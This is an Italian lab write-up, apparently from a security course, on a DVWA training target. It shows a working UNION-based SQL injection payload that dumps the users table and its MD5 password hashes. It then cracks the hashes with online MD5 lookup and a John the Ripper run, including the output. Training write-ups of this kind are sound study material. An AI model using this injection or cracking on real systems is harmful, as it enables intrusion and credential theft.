

In questo esercizio andremo a decriptare le password in hash che abbiamo trovato nel precedente compito, durante l'SQL injection.

Sapendo che le password sono criptate in MD5, rende il lavoro mille volte più semplice.

Infatti, possiamo utilizzare qualsiasi tool reperibile (con la funzione di decrypt md5) online per poter decriptare queste password.

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Vulnerability: SQL Injection

User ID:

Submit

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

First name:

Surname: admin

admin

admin

5f4dcc3b5aa765d61d8327deb882cf99

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

First name:

Surname: Gordon

Brown

gordonb

e99a18c428cb38d5f260853678922e03

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

First name:

Surname: Hack

Me

1337

8d3533d75ae2c3966d7e0d4fcc69216b

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

First name:

Surname: Pablo

Picasso

pablo

0d107d09f5bbe40cade3de5c71e9e9b7

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

First name:

Surname: Bob

Smith

smithy

5f4dcc3b5aa765d61d8327deb882cf99

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection

`md5-decrypt("0d107d09f5bbe40cade3de5c71e9e9b7")`

letmein

`md5-decrypt("5f4dcc3b5aa765d61d8327deb882cf99")`

password

`md5-decrypt("e99a18c428cb38d5f260853678922e03")`

abc123

`md5-decrypt("8d3533d75ae2c3966d7e0d4fcc69216b")`

charley

Con un semplicissimo tool online (MD5 encrypt-decrypt) sono riuscito a decryptare le password ottenute dal database (due di esse sono uguali, risultano essere semplicemente "password").

In alternativa, possiamo utilizzare John the Ripper, un tool gratuito disponibile su Kali Linux, che si rivela molto utile per crackare le password (o le credenziali, in generale).

Gli ho fornito un file di testo con all'interno le varie password, settato i parametri corretti (utilizziamo "incremental" perché è il sistema più rapido per il tipo di password più complesse da decrittare) ed il formato della password (in questo caso, appunto è MD5).

```
(root@Kali)-[/home/dan/Desktop]
# john --incremental --format=Raw-MD5 --fork=4 indirizzi.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 | AVX2 8x3])
Node numbers 1-4 of 4 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
abc123          (?)
charley         (?)
password        (?)
letmein         (?)
3 0g 0:00:00:29 0g/s 37065Kp/s 37065Kc/s 153120KC/s lm0ntj36..lm0nbsu1
1 1g 0:00:00:29 0.03338g/s 36880Kp/s 36880Kc/s 110642KC/s ghyp37a..ghyzjck
Waiting for 3 children to terminate
4 1g 0:00:00:29 0.03340g/s 36251Kp/s 36251Kc/s 108778KC/s 2etx1k..2ev19.
2 2g 0:00:00:29 0.06677g/s 37474Kp/s 37474Kc/s 74951KC/s sanconbaca..sancosolon
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session aborted
```